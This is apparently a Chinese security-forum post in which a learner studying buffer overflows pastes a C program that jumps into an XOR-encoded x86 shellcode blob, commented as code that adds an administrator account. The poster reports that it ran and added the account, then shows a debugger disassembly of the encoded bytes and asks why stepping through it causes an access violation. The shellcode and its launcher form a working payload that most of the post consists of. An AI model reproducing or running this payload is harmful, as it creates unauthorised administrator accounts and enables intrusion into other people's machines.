#include<stdio.h>
int main()
{
char scode[]=
"\x2b\xc9\x83\xe9\xc9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x05"
"\x02\x23\x0a\x83\xeb\xfc\xe2\xf4\xf9\xea\x67\x0a\x05\x02\xa8\x4f"
"\x39\x89\x5f\x0f\x7d\x03\xcc\x81\x4a\x1a\xa8\x55\x25\x03\xc8\x43"
"\x8e\x36\xa8\x0b\xeb\x33\xe3\x93\xa9\x86\xe3\x7e\x02\xc3\xe9\x07"
"\x04\xc0\xc8\xfe\x3e\x56\x07\x0e\x70\xe7\xa8\x55\x21\x03\xc8\x6c"
"\x8e\x0e\x68\x81\x5a\x1e\x22\xe1\x8e\x1e\xa8\x0b\xee\x8b\x7f\x2e"
"\x01\xc1\x12\xca\x61\x89\x63\x3a\x80\xc2\x5b\x06\x8e\x42\x2f\x81"
"\x75\x1e\x8e\x81\x6d\x0a\xc8\x03\x8e\x82\x93\x0a\x05\x02\xa8\x62"
"\x39\x5d\x12\xfc\x65\x54\xaa\xf2\x86\xc2\x58\x5a\x6d\xed\xed\xea"
"\x65\x6a\xbb\xf4\x8f\x0c\x74\xf5\xe2\x61\x4e\x6e\x2b\x67\x5b\x6f"
"\x25\x2d\x40\x2a\x6b\x67\x57\x2a\x70\x71\x46\x78\x25\x71\x46\x69"
"\x70\x70\x4a\x7e\x7c\x22\x50\x6f\x66\x77\x51\x63\x71\x7b\x03\x25"
"\x44\x46\x67\x2a\x23\x24\x03\x64\x60\x76\x03\x66\x6a\x61\x42\x66"
"\x62\x70\x4c\x7f\x75\x22\x62\x6e\x68\x6b\x4d\x63\x76\x76\x51\x6b"
"\x71\x6d\x51\x79\x25\x71\x46\x69\x70\x70\x4a\x7e\x7c\x22\x0c\x4b"
"\x41\x46\x23\x0a"; //add admin 's code
_asm
{
lea eax,scode
jmp eax
}
return 1;
}
最近在学习缓冲区益处,本来是怀疑此shellcode的功能,故想单独拿出来在vc++6.0里调试,
编译运行成功添加帐户,但是当我调试时跟进到shellcode中后,此时的代码贴上:
0012FE88 2B C9 sub ecx,ecx
0012FE8A 83 E9 C9 sub ecx,0C9h
0012FE8D D9 EE fldz
0012FE8F D9 74 24 F4 fnstenv [esp-0Ch]
0012FE93 5B pop ebx
0012FE94 81 73 13 05 02 23 0A xor dword ptr [ebx+13h],0A230205h
0012FE9B 83 EB FC sub ebx,0FCh
0012FE9E E2 F4 loop 0012FE94
0012FEA0 F9 stc
0012FEA1 EA 67 0A 05 02 A8 4F jmp 4FA8:02050A67
0012FEA8 39 89 5F 0F 7D 03 cmp dword ptr [ecx+37D0F5Fh],ecx
0012FEAE CC int 3
0012FEAF 81 4A 1A A8 55 25 03 or dword ptr [edx+1Ah],32555A8h
0012FEB6 C8 43 8E 36 enter 8E43h,36h
0012FEBA A8 0B test al,0Bh
0012FEBC EB 33 jmp 0012FEF1
0012FEBE E3 93 jecxz 0012FE53
0012FEC0 A9 86 E3 7E 02 test eax,27EE386h
0012FEC5 C3 ret
0012FEC6 E9 07 04 C0 C8 jmp C8D302D2
0012FECB FE ???
0012FECC 3E 56 push esi
0012FECE 07 pop es
0012FECF 0E push cs
0012FED0 70 E7 jo 0012FEB9
0012FED2 A8 55 test al,55h
0012FED4 21 03 and dword ptr [ebx],eax
0012FED6 C8 6C 8E 0E enter 8E6Ch,0Eh
0012FEDA 68 81 5A 1E 22 push 221E5A81h
0012FEDF E1 8E loope 0012FE6F
0012FEE1 1E push ds
0012FEE2 A8 0B test al,0Bh
0012FEE4 EE out dx,al
0012FEE5 8B 7F 2E mov edi,dword ptr [edi+2Eh]
0012FEE8 01 C1 add ecx,eax
0012FEEA 12 CA adc cl,dl
0012FEEC 61 popad
0012FEED 89 63 3A mov dword ptr [ebx+3Ah],esp
0012FEF0 80 C2 5B add dl,5Bh
0012FEF3 06 push es
0012FEF4 8E 42 2F mov es,word ptr [edx+2Fh]
0012FEF7 81 75 1E 8E 81 6D 0A xor dword ptr [ebp+1Eh],0A6D818Eh
0012FEFE C8 03 8E 82 enter 8E03h,82h
0012FF02 93 xchg eax,ebx
0012FF03 0A 05 02 A8 62 39 or al,byte ptr ds:[3962A802h]
0012FF09 5D pop ebp
0012FF0A 12 FC adc bh,ah
0012FF0C 65 54 push esp
0012FF0E AA stos byte ptr [edi]
0012FF0F F2 86 C2 repne xchg al,dl
0012FF12 58 pop eax
0012FF13 5A pop edx
0012FF14 6D ins dword ptr [edi],dx
0012FF15 ED in eax,dx
0012FF16 ED in eax,dx
0012FF17 EA 65 6A BB F4 8F 0C jmp 0C8F:F4BB6A65
0012FF1E 74 F5 je 0012FF15
0012FF20 E2 61 loop 0012FF83
0012FF22 4E dec esi
0012FF23 6E outs dx,byte ptr [esi]
0012FF24 2B 67 5B sub esp,dword ptr [edi+5Bh]
0012FF27 6F outs dx,dword ptr [esi]
0012FF28 25 2D 40 2A 6B and eax,6B2A402Dh
0012FF2D 67 57 push edi
0012FF2F 2A 70 71 sub dh,byte ptr [eax+71h]
0012FF32 46 inc esi
0012FF33 78 25 js 0012FF5A
0012FF35 71 46 jno 0012FF7D
0012FF37 69 70 70 4A 7E 7C 22 imul esi,dword ptr
[eax+70h],227C7E4Ah
0012FF3E 50 push eax
0012FF3F 6F outs dx,dword ptr [esi]
0012FF40 66 77 51 ja 0000FF94
0012FF43 63 71 7B arpl word ptr [ecx+7Bh],si
0012FF46 03 25 44 46 67 2A add esp,dword ptr ds:[2A674644h]
0012FF4C 23 24 03 and esp,dword ptr [ebx+eax]
0012FF4F 64 60 pushad
0012FF51 76 03 jbe 0012FF56
0012FF53 66 6A 61 push 61h
0012FF56 42 inc edx
0012FF57 66 62 70 4C bound si,dword ptr [eax+4Ch]
0012FF5B 7F 75 jg 0012FFD2
0012FF5D 22 62 6E and ah,byte ptr [edx+6Eh]
0012FF60 68 6B 4D 63 76 push 76634D6Bh
0012FF65 76 51 jbe 0012FFB8
0012FF67 6B 71 6D 51 imul esi,dword ptr [ecx+6Dh],51h
0012FF6B 79 25 jns 0012FF92
0012FF6D 71 46 jno 0012FFB5
0012FF6F 69 70 70 4A 7E 7C 22 imul esi,dword ptr
[eax+70h],227C7E4Ah
0012FF76 0C 4B or al,4Bh
0012FF78 41 inc ecx
0012FF79 46 inc esi
0012FF7A 23 0A and ecx,dword ptr [edx]
大家注意看
标明的地方,F10单步到这里时会弹出:
Unhandled exception in shell.exe:0X00000005:Access Violation
对话筐,程序便终止到这里,不能继续调试。
小弟不解:
1.为何运行正常,但调试时却抱错?
2.0X00000005这个到底是个什么地址呢?
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课